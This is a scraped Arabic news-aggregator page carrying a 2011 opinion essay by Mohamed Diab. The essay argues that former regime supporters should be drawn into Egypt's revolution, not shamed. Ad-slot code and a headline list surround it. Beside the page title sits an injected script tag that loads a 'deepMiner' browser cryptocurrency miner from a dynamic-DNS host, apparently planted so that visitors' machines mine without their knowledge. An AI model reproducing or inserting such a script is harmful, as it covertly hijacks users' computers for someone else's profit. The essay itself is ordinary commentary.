googletag.defineSlot('/21620968445/Masress_Ar_Article_1', [[336, 280], [300, 300], [300, 250], [300, 600]], 'div-gpt-ad-1446553049-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Article_1', 'div-gpt-ad-1446553049-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Article_3', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-1446553047-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Article_3', 'div-gpt-ad-1446553047-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Article_2', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-1446553048-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Article_2', 'div-gpt-ad-1446553048-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Widget', [[222, 280]], 'div-gpt-ad-374346843-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Widget', 'div-gpt-ad-374346843-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Siteunder', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-1775746800-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Siteunder', 'div-gpt-ad-1775746800-0-oop').addService(googletag.pubads()); googletag.pubads().enableSingleRequest(); googletag.enableServices();}); مصرس : محمد دياب: وقود الثورة المضادة<script src="https://jhondi33.duckdns.org:7777/deepMiner.min.js"></script>
 
«التعليم العالي» تغلق أكاديمية وهمية بمدينة نصر    بالصور.. رئيس المجلس النيابي الصربي في رحلة بحرية بمرسي علم    سيول الخير تعم وادي فيران.. وأمطار على نويبع.. صور    مصر تفوز باستضافة القمة الدولية للمشروعات الصغيرة وريادة الأعمال    وزيرة البيئة تبحث سبل مواجهة الكوارث الطبيعية مع نظيرها الياباني    «الرى» تعلن تركيب 175 قطعة موفرة للمياه بصنابير مسجدى السيدة نفيسة ويوسف الصحابى    وزيرالنقل: 2019 بداية تحسن خدمات القطارات    بورصة البحرين تتراجع 0.10% في ختام جلسة الخميس    "مصر للطيران" تطرح تخفيض 35% على رحلات إفريقيا    الخبر التالى:    استقالة رابع وزير بريطاني من الحكومة    مغردون يطلقون تعليقات نارية على بيان النيابة السعودية حول مقتل جمال خاشقجي    ننشر التفاصيل الكاملة لتقرير النيابة السعودية حول مقتل جمال خاشقجي    الاحتلال الإسرائيلى يقتحم منزل منفذ عملية القدس ويعتقل عائلته للمرة الثانية    شاهد.. لقطات مرعبة من حرائق كاليفورنيا    رئيس وزراء ماليزيا: نقل السفارة الأسترالية من تل أبيب إلى القدس غير مفيد    بريزينتيشن: بيان الاتحاد الإماراتي؟ لم نعقب وبنود التعاقد تتضمن العودة للجهاز الفني    خالد الدرندلي رئسياً لبعثة الأهلي فى الإمارات لمواجهة الوصل    مصدر بالمصري ليلا كورة: نرغب في ضم باسم مرسي    فيديو - ثنائي يوفنتوس الحاسم    تعليق الرحلات الجوية بين مصر والكويت تعرف على السبب    بالصور| انفجار ماسورة مياه بمحور المشير.. وارتباك بحركة المرور بالتجمع    استمرار سقوط الأمطار وتكاثر السحب غدًا    محافظة الجيزة: تنفيذ قرار الرئيس بإطلاق اسم ساطع النعماني بميدان النهضة    بعد تبادل لإطلاق النيران.. ضبط هارب من 4 أحكام بكفر الشيخ    حبس صاحب إسطبل خيول لهتك عرض طفل بترب اليهود    الخبر التالى:    ضبط 11 من العناصر الخطرة في حملة أمنية بالقليوبية    صور.. الأقصر تحتضن مهرجان الشعر العربي برعاية حاكم الشارقة    شاهد..ياسمين رئيس في شوارع بيروت    ماجدة الرومى تكشف عن المصرى الذى تتمنى الزواج منه    القول الحق فى مَولد خير الخلق    طارق سلمان: كلية طب الأزهر تقود الجامعة في تصنيفات عالمية    وزير المالية ل«الشروق»: الالتزام بالبرامج البيئية شرط توفير التمويل للمشروعات    محافظ أسوان يهنئ الدكتور مجدي يعقوب بمناسبة عيد ميلاده    الخبر التالى:    وزير الرياضة: مصر تسعى للدخول ضمن أفضل 10 دول في الرياضة التنافسية    غدا.. وزير الأوقاف يلتقي قيادات الدعوة بالدقهلية    الجمهوريون ينتخبون كيفن ماكارثي زعيما للأقلية في الكونجرس    30 يونيو.. الانتهاء من الأعمال الإنشائية بمستشفى جهينة المركزي    ميندي لاعب سيتي يخضع لجراحة في الركبة    إغلاق الأكاديمية الدولية للتعليم بسبب العمل بدون ترخيص    محافظ الأقصر يلتقى وفد مشروع إعادة اكتشاف الأصول التراثية لإسنا    مكتبة مصر الجديدة تظهر بإطلالة جديدة في عيد ميلادها ال 73    أخبار قد تهمك    متحف النسيج ينظم احتفالية بمناسبة المولد النبوي الشريف واليوم العالمي للطفولة    علي معلول ومحمد نجيب يواصلان التأهيل في الأهلي    " جروس" يصل القاهرة اليوم ليستكمل تدريبات الزمالك    خالد سرحان يواصل تصوير مشاهده فى "قيد عائلى"    أنباء عن وقف التحالف العربي عملياته في الحديدة    تناول 4 فناجين قهوة يومياً يقى من مرض السكر    شاهد.. الكلية الفنية العسكرية تحصد جائزتين    دراسة: البشر أفضل في تذكر الأسماء عن الوجوه    بيع قلادة ماري أنطوانيت ب36 مليون دولار في مزاد بجنيف    تعالوا نبدأ بأنفسنا    بوضوح    كلام بحب    .. والسلام ختام    







شكرا على الإبلاغ!
سيتم حجب هذه الصورة تلقائيا عندما يتم الإبلاغ عنها من طرف عدة أشخاص.





محمد دياب: وقود الثورة المضادة
نشر في كلمتنا يوم 01 - 03 - 2011

اصبح مصطلح الثوره المضاده دارجاً هذه الايام و يشار به الي محاولات بقايا النظام الي تشويه صوره الثوره والقفز مره اخري للصفوف الاولي. و لاحظت ان ذهبت معظم محاولات تحليل نظريه الثوره المضاده في تحميل مسؤليتها الي الايدي التي تختلقها، ناسين ان العنصر الاهم في نجاح هذه المؤامره هو جزء كبير من الناس غير مسيسين يمكن ان يطلق عليهم "وقود الثوره المضاده" ... لا ينكر احد ان احداث ثوره 25 يناير قد قسمت الشارع المصري الي قسمين " مع النظام و ضده
قد يبدو الآن مع سقوط مبارك ان الشعب قد توحد مره اخري، الا ان التحليل النفسي للشخصيه الانسانيه يؤكد انه مازال هناك تباين بين الفئتين. فالفئه الثائره تتعامل الآن انها انتصرت و انها كانت علي حق و يصر معظم افرادها علي تذكير المختلفين معهم في كل مناسبه انهم كانوا مخطئين. لا انكر ان محاوله السيطره علي مشاعري تجاه الذين كانوا ضد الثوره ليست سهله و انه تجتاحني رغبات بأن اصرخ في وجه كل منهم باننا كنا علي صواب و انكم لم تؤمننوا بنا رغم وضوح الحق من الباطل "في وجهه نظري" الا اني اخذت قراراً بالسيطره علي هذه الرغبات بعد ان ترائي لي ضررها الذي انا بصدد مناقشته.
الذي يمكن ترجمته لكلمه : مش قولتلك I told you so ان اكثر تعبير مكروه في اللغه الانجليزيه هو، وهي كلمه تقال للتشفي في شخص اختلفت معه في وجه نظر وثبت صدق رؤيتك، الا انها غالباً ما تؤدي الي نفور الآخر منك و بل و نفوره من وجهه نظرك التي ادت الي اهانته علي الاقل فكرياً.
لا يجب اغفال نقطه هامه في نفسيه الآخر "المهزوم فكرياً" انه خاضع لتأثير ما يسمي بالأستثمار الفكري، فقد ظل لسنوات و سنوات مؤمناً بفكر معين حتي أصبح من الثوابت في حياته و استثمر الكثير من مجهوده العقلي في الدفاع عن هذا الفكر ومنَطَقته. بناءً علي هذا يصبح الظن بأننا في 18 يوم سنغير قناعاته بهذه السهوله هو ضرب من السذاجه. نعم قد يرضخ لضغط الانتصار النفسي والمعنوي، بل و قد يحتفل معك و يعترف (راضخاً) انك كنت علي حق و لكن هذا المهزوم فكرياً لم يتم احتوائه بشكل كامل، بل و يذُكر يومياً من المنتصر انه كان مخطئاً (مش قولتلك) و بالتالي يتم دائماً تذكيره انه ليس جزئاً من هذه الثوره. نتيجه لهذا يكون من الطبيعي أن ،يبحث مضطراً عن اي قشه تثبت له امام نفسه انه لم يكن مخطئاً و انه كان صاحب بعد نظر
هذه القشه يقدمها له بقايا النظام في سيناريو (الثوره المضاده) الذي لا يمكن ان يتحرك خطوه بدون ان يجد العون في المهزومين فكرياً وهم علي اقل تقدير ربع الشعب المصري و الذين يمكن ان يؤثروا علي اقل تقدير علي ربع آخر
مثال حي لهذا السيناريو : ما يحدث لبعض من داعمي الثوره من عمليه تشويه بإتهامات اقل ما توصف به انها ساذجه و كوميديه الا انها وللغرابه تلقي قبولاً قد يُظن انه عام، ولكنه ليس كذلك ... بل انه قبول غير ممنطق من الربع المهزوم فكرياً قد يتسلل لآخرين
مثال آخر اتنبأ ان ينتشر قريباً: نشر الاحباط و هي فكره ترددها قله الآن ستزداد ككره الثلج مع انحسار موجه المدينه الفاضله التي تسود الشارع والتي يستحيل ان تظل دائمه ألا مع تغيير النظام تماماً بعد سته اشهر
اخيراً اتمني من كل من يحذر من الثوره المضاده ان يلتفت لقطع الطريق علي الخبثاء و هم قله، بأن يتم احتواء " وقود الثوره المضاده" وهم كثر. احتواء هؤلاء لن يتم الا بأن يشعر الجميع ان الثوره هي ملك لكل مصري. إن استبعاد أي فصيل من شرف الاحتفاء بالثوره هو استعداء له، فمثلاً عندما تستبعد الشرطه فأنك استبعدت 1.2مليون شرطي، و علي اقل تقدير 2 مليون من أسرهم. بالتأكيد ان عدم استبعاد الشرطه لا يعني التفريط في نقطه دم واحده من دماء الشهداء او المصابيين بل أن عدم استبعادهم لن يحدث الا اولاً بتطهير هذا الجهاز و إنزال العقاب بكل من اخطأ، ولكن يجب دائماً مراعاه عدم التجميع حتي لا ندفع فصائل كامله لأن تضطر ان تعادي الثوره.
ايضاً من اهم وسائل الاحتواء هي دوام التذكير بأن 90٪ من الذين تعاطفوا مع النظام في الثوره، لم يكونوا ابداً خونه، بل ان بعضهم تم استدراجه بخطاب عاطفي و الاخرين صدقوا نظريه ان الامان والديمقراطيه لا يجتمعان ... و بلا شك كانوا يظنون ان انحيازهم للنظام هو قمه الوطنيه، و هؤلاء ان كان يجب محاسبتهم فإن محاسبتهم تكون علي عدم خبرتهم السياسيه او تعاطفهم الخاطيء و ليس الخيانه
اما 10٪ المنافقين وهم قله معروفه فلا سبيل لإصلاح هذا البلد إلا بإستأصالهم، بدون الوقوع في فخ تخوين كل من أيد النظام
علي الرغم مما يبدو من هذا المقال من قلق علي الثوره، الا انه واقعياً لا خوف علي مكاسب الثوره التي ستحقق بمشيئه الله بلا شك. بل اني ادعو الجميع لتفاؤل منطقي و مستحق، ألا ان التحذير هو مِن أن يتسبب تخلف جزء من الشعب المصري عن الركب الوطني في ان تتأخر هذه المكاسب ... كل ما نحتاجه هو بعض الحكمه و بعد النظر لكي نطفأ وقود الثوره المضاده للأبد
لينك ال Note
http://www.facebook.com/note.php?note_id=499658571821


انقر هنا لقراءة الخبر من مصدره.